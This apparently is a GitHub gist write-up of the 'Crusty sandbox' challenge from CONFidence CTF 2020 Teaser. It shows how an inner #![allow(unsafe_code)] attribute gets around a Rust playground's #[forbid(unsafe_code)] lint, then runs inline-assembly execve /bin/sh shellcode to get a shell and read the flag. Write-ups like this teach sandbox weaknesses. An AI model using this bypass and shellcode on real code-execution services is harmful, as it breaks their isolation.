Skip to content

Instantly share code, notes, and snippets.

@mcieno
Created March 15, 2020 11:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mcieno/9fff4ca1c94a57d44af7fe00a33f7b59 to your computer and use it in GitHub Desktop.
Save mcieno/9fff4ca1c94a57d44af7fe00a33f7b59 to your computer and use it in GitHub Desktop.
CONFidence CTF 2020 Teaser - Writeup of Crusty sandbox and Crsty sndbx

Crusty sandbox && Crsty sndbx

Both services let us load and execute rust programs.

Welcome to the Rust Playground!
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 1
Name: Test program
Please enter the code of your ground. Say "trait" when you're done.

pub fn main() {
    let what = "flag";
    println!("Give me the {}, please.", what);
}

trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Test program
-> 2
Give me the flag, please.

However, we cannot run exactly everything. For example the following code, which attempts to run ls -la, results in a compilation error.

use std::str;
use std::process::Command;

pub fn main() {
    let output = Command::new("ls")
                         .arg("-la")
                         .output()
                         .expect("failed to execute");

    println!("{}", str::from_utf8(&output.stdout).unwrap());
}
error[E0433]: failed to resolve: maybe a missing crate `std`?
 --> playground.rs:3:5
  |
3 | use std::process::Command;
  |     ^^^ maybe a missing crate `std`?

error[E0432]: unresolved import `std`
 --> playground.rs:2:5
  |
2 | use std::str;
  |     ^^^ maybe a missing crate `std`?

error[E0433]: failed to resolve: use of undeclared type or module `Command`
 --> playground.rs:6:18
  |
6 |     let output = Command::new("sh")
  |                  ^^^^^^^ use of undeclared type or module `Command`

error: aborting due to 3 previous errors

Some errors have detailed explanations: E0432, E0433.
For more information about an error, try `rustc --explain E0432`.

Not being much of a Rust person, the very first thing I thought about was: "Can I write inline assembly?". Of course I can!

pub fn main() {
    let result: i32;
    unsafe {
       asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
    }
    println!("eax is currently {}", result);
}

This prints eax is currently 2 on my local machine but produces this very disappointing error on the server:

error: usage of an `unsafe` block
 --> playground.rs:4:5
  |
4 | /     unsafe {
5 | |        asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
6 | |     }
  | |_____^
  |
note: the lint level is defined here
 --> main.rs:6:10
  |
6 | #[forbid(unsafe_code)]
  |          ^^^^^^^^^^^

error: aborting due to previous error

Looks like #[forbid(unsafe_code)] is preventing asm. What if...

Name: Test asm
Please enter the code of your ground. Say "trait" when you're done.

#![allow(unsafe_code)]

pub fn main() {
    let result: i32;
    unsafe {
       asm!("mov eax, 2" : "={eax}"(result) : : : "intel")
    }
    println!("eax is currently {}", result);
}

trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Test asm
-> 2
eax is currently 2

Yeah! Let's get this flag!

Name: Gimme shell plz
Please enter the code of your ground. Say "trait" when you're done.

#![allow(unsafe_code)]

pub fn main() {
        unsafe {
                asm!("mul %esi                         \n\
                      push %rax                        \n\
                      movabs $$0x68732f2f6e69622f,%rdi \n\
                      push %rdi                        \n\
                      mov %rsp,%rdi                    \n\
                      mov $$0x3b,%al                   \n\
                      syscall");
        }
}

trait
[1] New ground
[2] Show ground
[3] Play ground
[4] Exit
-> 3
[1] The Infamous Hello World Program.
[2] Gimme shell plz
-> 2
ls
app-c2bb5025a1bb
bin
get_flag
lib
lib64
proc
tmp
usr
./get_flag
p4{my_sc0re_w@s_286_l3t_me_kn0w_1f_y0u_b3@t_1t_0adad38edc24}

But wait! What does the flag say? :/

Minified this program is 160 bytes... Did I just beat them? <dopeness intensifies>

Turns out this solution was unintended, while the intended one was rust-lang/rust#25860.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment